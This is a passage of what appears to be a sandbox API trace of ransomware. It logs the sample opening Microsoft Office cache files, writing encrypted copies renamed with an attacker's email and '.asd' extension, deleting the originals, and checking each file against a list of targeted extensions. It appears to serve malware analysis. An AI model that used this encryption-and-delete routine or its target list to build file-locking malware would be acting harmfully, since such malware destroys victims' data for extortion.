lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x740, lpOverlapped=0x0) returned 1 [0043.093] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.093] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.093] SetEndOfFile (hFile=0x16c) returned 1 [0043.093] CloseHandle (hObject=0x16c) returned 1 [0043.099] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.099] SetEndOfFile (hFile=0x178) returned 1 [0043.100] CloseHandle (hObject=0x178) returned 1 [0043.100] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.100] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.100] lstrlenW (lpString=".doc") returned 4 [0043.100] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.100] lstrlenW (lpString=".docx") returned 5 [0043.100] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.100] lstrlenW (lpString=".pdf") returned 4 [0043.101] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString=".xls") returned 4 [0043.101] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString=".xlsx") returned 5 [0043.101] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.101] lstrlenW (lpString=".ppt") returned 4 [0043.101] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.101] lstrlenW (lpString=".zip") returned 4 [0043.101] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.101] lstrlenW (lpString=".rar") returned 4 [0043.101] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString=".bz2") returned 4 [0043.101] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString=".7z") returned 3 [0043.101] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.101] lstrlenW (lpString=".dbf") returned 4 [0043.101] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.101] lstrlenW (lpString=".1cd") returned 4 [0043.101] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.101] lstrlenW (lpString=".jpg") returned 4 [0043.101] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.102] lstrlenW (lpString=".doc") returned 4 [0043.102] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString=".docx") returned 5 [0043.102] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.102] lstrlenW (lpString=".pdf") returned 4 [0043.102] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString=".xls") returned 4 [0043.102] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString=".xlsx") returned 5 [0043.102] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.102] lstrlenW (lpString=".ppt") returned 4 [0043.102] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.102] lstrlenW (lpString=".zip") returned 4 [0043.102] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.102] lstrlenW (lpString=".rar") returned 4 [0043.102] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString=".bz2") returned 4 [0043.102] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString=".7z") returned 3 [0043.102] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.102] lstrlenW (lpString=".dbf") returned 4 [0043.102] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.102] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.102] lstrlenW (lpString=".1cd") returned 4 [0043.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.103] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.103] lstrlenW (lpString=".jpg") returned 4 [0043.103] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.103] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.103] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0043.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.617] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=913) returned 1 [0043.617] CloseHandle (hObject=0x198) returned 1 [0043.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0043.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.618] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.618] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.618] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.618] GetLastError () returned 0x0 [0043.618] ReadFile (in: hFile=0x198, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x391, lpOverlapped=0x0) returned 1 [0043.620] WriteFile (in: hFile=0x19c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0043.621] ReadFile (in: hFile=0x198, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.621] WriteFile (in: hFile=0x19c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0043.622] SetEndOfFile (hFile=0x19c) returned 1 [0043.622] CloseHandle (hObject=0x19c) returned 1 [0043.623] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.623] SetEndOfFile (hFile=0x198) returned 1 [0043.623] CloseHandle (hObject=0x198) returned 1 [0043.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.624] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0043.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.624] lstrlenW (lpString=".doc") returned 4 [0043.624] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.624] lstrlenW (lpString=".docx") returned 5 [0043.624] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.624] lstrlenW (lpString=".pdf") returned 4 [0043.624] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.624] lstrlenW (lpString=".xls") returned 4 [0043.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.624] lstrlenW (lpString=".xlsx") returned 5 [0043.624] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.624] lstrlenW (lpString=".ppt") returned 4 [0043.624] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.624] lstrlenW (lpString=".zip") returned 4 [0043.625] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.625] lstrlenW (lpString=".rar") returned 4 [0043.625] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.625] lstrlenW (lpString=".bz2") returned 4 [0043.625] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.625] lstrlenW (lpString=".7z") returned 3 [0043.625] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.625] lstrlenW (lpString=".dbf") returned 4 [0043.625] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.625] lstrlenW (lpString=".1cd") returned 4 [0043.625] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.625] lstrlenW (lpString=".jpg") returned 4 [0043.625] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.625] lstrlenW (lpString=".doc") returned 4 [0043.625] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.625] lstrlenW (lpString=".docx") returned 5 [0043.625] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.625] lstrlenW (lpString=".pdf") returned 4 [0043.626] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString=".xls") returned 4 [0043.626] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString=".xlsx") returned 5 [0043.626] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.626] lstrlenW (lpString=".ppt") returned 4 [0043.626] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.626] lstrlenW (lpString=".zip") returned 4 [0043.626] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.626] lstrlenW (lpString=".rar") returned 4 [0043.626] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString=".bz2") returned 4 [0043.626] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString=".7z") returned 3 [0043.626] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.626] lstrlenW (lpString=".dbf") returned 4 [0043.626] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.626] lstrlenW (lpString=".1cd") returned 4 [0043.626] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0043.626] lstrlenW (lpString=".jpg") returned 4 [0043.626] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.626] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.627] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0043.627] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0044.294] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=819) returned 1 [0044.294] CloseHandle (hObject=0x1bc) returned 1 [0044.294] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0044.294] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0044.294] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.294] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0044.295] GetLastError () returned 0x0 [0044.295] ReadFile (in: hFile=0x1bc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x333, lpOverlapped=0x0) returned 1 [0044.371] WriteFile (in: hFile=0x1c0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x340, lpOverlapped=0x0) returned 1 [0044.372] ReadFile (in: hFile=0x1bc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.372] WriteFile (in: hFile=0x1c0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0044.372] SetEndOfFile (hFile=0x1c0) returned 1 [0044.372] CloseHandle (hObject=0x1c0) returned 1 [0044.373] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.373] SetEndOfFile (hFile=0x1bc) returned 1 [0044.374] CloseHandle (hObject=0x1bc) returned 1 [0044.375] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.375] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0044.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.375] lstrlenW (lpString=".doc") returned 4 [0044.375] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.375] lstrlenW (lpString=".docx") returned 5 [0044.375] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0044.375] lstrlenW (lpString=".pdf") returned 4 [0044.375] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.375] lstrlenW (lpString=".xls") returned 4 [0044.375] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.375] lstrlenW (lpString=".xlsx") returned 5 [0044.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0044.375] lstrlenW (lpString=".ppt") returned 4 [0044.375] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.376] lstrlenW (lpString=".zip") returned 4 [0044.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.376] lstrlenW (lpString=".rar") returned 4 [0044.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString=".bz2") returned 4 [0044.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString=".7z") returned 3 [0044.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.376] lstrlenW (lpString=".dbf") returned 4 [0044.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.376] lstrlenW (lpString=".1cd") returned 4 [0044.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.376] lstrlenW (lpString=".jpg") returned 4 [0044.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.376] lstrlenW (lpString=".doc") returned 4 [0044.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString=".docx") returned 5 [0044.376] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0044.376] lstrlenW (lpString=".pdf") returned 4 [0044.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString=".xls") returned 4 [0044.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.376] lstrlenW (lpString=".xlsx") returned 5 [0044.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0044.376] lstrlenW (lpString=".ppt") returned 4 [0044.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.377] lstrlenW (lpString=".zip") returned 4 [0044.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.377] lstrlenW (lpString=".rar") returned 4 [0044.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.377] lstrlenW (lpString=".bz2") returned 4 [0044.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.377] lstrlenW (lpString=".7z") returned 3 [0044.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.377] lstrlenW (lpString=".dbf") returned 4 [0044.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.377] lstrlenW (lpString=".1cd") returned 4 [0044.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0044.377] lstrlenW (lpString=".jpg") returned 4 [0044.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.377] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.377] lstrlenW (lpString="Office32WW.xml") returned 14 [0044.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.699] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4274) returned 1 [0044.699] CloseHandle (hObject=0x16c) returned 1 [0044.699] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0044.699] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.700] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.700] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.700] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.700] GetLastError () returned 